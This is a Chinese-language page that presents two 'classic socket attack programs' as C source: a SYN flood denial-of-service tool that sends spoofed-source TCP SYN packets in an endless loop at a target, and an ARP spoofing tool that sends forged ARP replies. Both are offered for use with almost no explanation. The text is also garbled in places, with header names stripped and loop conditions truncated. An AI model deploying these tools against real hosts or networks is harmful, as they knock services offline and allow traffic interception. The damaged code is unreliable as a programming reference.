2個經典的SOCKET攻擊程序

1、著名的dos攻擊軟件

/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int DESTPORT;
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc != 3)
{
fprintf(stderr,"Usage:dos host port./n");
exit(1);
}
DESTPORT = atoi(argv[2]);
printf("no is attacking host %s with port %d../n",argv[1],DESTPORT);
//printf("ok started!/n");
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 沒有辦法,只用超級護用戶纔可以使用原始套接字 *********/
setuid(getpid());

/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}

/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數據包 ****/
struct ip *ip;
int i;
struct tcphdr *tcp;
int head_len;

/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP數據包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/

/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連接 **/
tcp->check=0;

/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那裏來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

2、arp攻擊軟件

/***************************************************************************
main.c - description
-------------------
begin : 五 2月 14 20:00:42 CST 2003
copyright : (C) 2003 by root
email : root@ncmgr
***************************************************************************/

/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/

#include
#include
#include
#include
#include
#include
#include
/*#include */
#include
#include

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet./n
/tusage:send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr times /n/n"};

struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;

if(argc != 6)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket error!");
exit(1);
}

number = atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
printf("now is sending the num: %i packet/n",j);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%s/n",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %s/n",str);
exit(1);
}
}
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");

*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");

*buf++ |= val;

if(*str == ':')str++;
}
}